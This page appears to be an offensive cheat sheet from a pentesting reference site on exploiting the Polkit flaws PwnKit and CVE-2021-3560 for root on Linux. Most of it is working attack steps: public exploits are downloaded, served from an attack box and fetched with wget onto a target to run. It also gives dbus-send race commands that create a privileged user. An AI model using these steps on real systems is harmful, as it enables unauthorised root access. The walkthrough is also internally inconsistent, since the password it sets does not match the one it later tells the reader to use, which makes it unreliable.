# Polkit Local Privilege Escalation – PwnKit and CVE-2021-3560

> Exploiting Polkit vulnerabilities (PwnKit/CVE-2021-3560) to escalate privileges to root on Linux systems via SUID misuse and authentication bypass.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-14

Polkit (PolicyKit) is an authorization framework present by default on Ubuntu, Debian, RHEL, Fedora, and virtually every Linux desktop and most servers. Two major CVEs (PwnKit CVE-2021-4034 and a D-Bus race condition CVE-2021-3560) allow any local user to escalate to root with no sudo permissions required. Both are pre-authentication from a local user perspective.

## Polkit and pkexec Privilege Escalation Checks

Known escalation vectors through Polkit:

- CVE-2021-4034 (PwnKit): memory corruption in pkexec, affects all unpatched versions before January 2022
- CVE-2021-3560: D-Bus race condition, affects specific Ubuntu and RHEL builds
- Permissive policy files: custom rules granting unauthenticated access to dangerous actions
- systemd-run bypass: misconfigured Polkit policies allowing unprivileged unit management

Confirm Polkit is installed and pkexec is SUID:

```bash
which pkexec
ls -la /usr/bin/pkexec
systemctl status polkit 2>/dev/null || systemctl status packagekit 2>/dev/null
```

Check exact version: this determines which CVE applies:

```bash
pkexec --version

# Debian/Ubuntu
dpkg -l policykit-1 2>/dev/null | grep ^ii
dpkg -l polkit 2>/dev/null | grep ^ii

# RHEL/CentOS/Fedora
rpm -qa polkit
```

**Version-to-vulnerability mapping:**

| Distro | Vulnerable versions | CVE |
| --- | --- | --- |
| Ubuntu 20.04 | polkit < 0.105-26ubuntu1.2 | CVE-2021-4034 |
| Ubuntu 18.04 | polkit < 0.105-20ubuntu0.18.04.6 | CVE-2021-4034 |
| Debian 10 | polkit < 0.105-25+deb10u1 | CVE-2021-4034 |
| Debian 11 | polkit < 0.105-33 | CVE-2021-4034 |
| RHEL 7/8 | polkit < 0.115-13.el8_5.1 | CVE-2021-4034 |
| Ubuntu 20.04 | polkit < 0.105-26ubuntu1.1 | CVE-2021-3560 |

## CVE-2021-4034: PwnKit

**Affected:** All pkexec versions before January 2022 patches: essentially every Linux system running polkit for the past 12 years.

A memory corruption vulnerability in `pkexec`. It mishandles the `argc=0` argument count edge case, causing it to read from `envp` as if it were `argv`, allowing an attacker to inject environment variables that control which shared library gets loaded. Results in root code execution. Extremely reliable: does not require specific kernel version, filesystem, or configuration.

### Quick Verification

```bash
# If vulnerable: outputs segfault or nothing
# If patched: outputs usage string
pkexec 2>&1 | head -1
```

A cleaner check:

```bash
dpkg -l policykit-1 2>/dev/null | awk '/^ii/{print $3}'
# Compare against patched versions above
```

### Exploit: Blasty PoC (Simplest)

```bash
# On attack box
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make

# Transfer to target (see transfer methods at https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools)
python3 -m http.server 8080

# On target
wget http://$LHOST:8080/cve-2021-4034
chmod +x cve-2021-4034
./cve-2021-4034
```

Root shell drops immediately. No configuration required.

### Exploit: Single-File C Version (No git required)

When the target has no internet access and you need a minimal transfer:

```bash
# On attack box: download single exploit file
wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c

# Compile
gcc -o pwnkit cve-2021-4034-poc.c

# Transfer and run on target
chmod +x pwnkit
./pwnkit
```

### Exploit: Python Version (No gcc required)

When gcc is absent on the target:

```bash
# On attack box
wget https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py

# Transfer and run on target
python3 CVE-2021-4034.py
```

## CVE-2021-3560: D-Bus Race Condition

**Affected:** Specific Ubuntu versions: Ubuntu 20.04 with polkit < 0.105-26ubuntu1.1, and RHEL 8 with polkit < 0.115-13.el8_5.1.

A race condition in how Polkit handles D-Bus connections that disconnect before the authorization check completes. By killing a `dbus-send` call at exactly the right moment, Polkit falls back to allowing the action as root. This predates PwnKit and is less reliable (race-dependent) but works on different affected versions.

### Check Version

```bash
# Ubuntu: check if vulnerable
dpkg -l policykit-1 | grep ^ii
# Vulnerable: 0.105-26ubuntu1 (without .1 suffix)
```

### Exploit: Automated Race

```bash
# On attack box
git clone https://github.com/hakivvi/CVE-2021-3560
cd CVE-2021-3560

# Transfer exploit.sh to target
python3 -m http.server 8080

# On target
wget http://$LHOST:8080/exploit.sh
chmod +x exploit.sh
./exploit.sh
```

The script loops sending a `dbus-send` for account creation while simultaneously killing it at varying timing intervals. Typically succeeds within 10-30 seconds.

### Manual Race (Understanding the Technique)

The exploit sends a D-Bus call to create a privileged user account, then kills it partway through:

```bash
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:"newroot" string:"root" int32:1 & sleep 0.005s ; kill $!
```

If the timing hits the race window, a user is created. Then set its password:

```bash
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLOuwdBsq10R6J0lIiW3lxbKMkBaKP.' string:'GoldenRatioIsNotAnInteger' & sleep 0.005s ; kill $!
```

Then authenticate:

```bash
su newroot
# password: roooot
```

## Permissive Policy Files

Custom or third-party Polkit policies sometimes grant unauthenticated access to dangerous actions:

```bash
# Check for any policy granting allow_any = yes
grep -r "allow_any.*yes\|<allow_any>yes" /usr/share/polkit-1/actions/ 2>/dev/null

# List all custom/third-party policies (not org.freedesktop)
ls /usr/share/polkit-1/actions/ | grep -v "^org.freedesktop\|^org.gnome\|^org.debian"
```

If `allow_any` is `yes` on a dangerous action (service management, package install, user creation), trigger it directly via `pkexec` or the associated D-Bus method without authentication.

Check local override rules which can be more permissive than system defaults:

```bash
ls /etc/polkit-1/rules.d/ 2>/dev/null
ls /usr/share/polkit-1/rules.d/ 2>/dev/null
cat /etc/polkit-1/localauthority.conf.d/*.conf 2>/dev/null
```

## systemd-run Bypass (Misconfigured Environments)

On some systems, `systemd-run` triggers Polkit authorization that is misconfigured to allow unprivileged users:

```bash
systemd-run --no-ask-password -t /bin/bash
```

If this drops a root shell, Polkit policy for `org.freedesktop.systemd1.manage-units` is too permissive.

## References

- [Qualys PwnKit Advisory](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) - Original vulnerability disclosure
- [Polkit GitLab](https://gitlab.freedesktop.org/polkit/polkit/-/issues) - Policy and design documentation
- [CVE-2021-4034 PoC ](https://github.com/berdav/CVE-2021-4034) - berdav Clean multi-file PwnKit exploit with Makefile.
- [CVE-2021-3560 PoC ](https://github.com/hakivvi/CVE-2021-3560) - hakivvi Automated race condition exploit for the D-Bus timing attack.
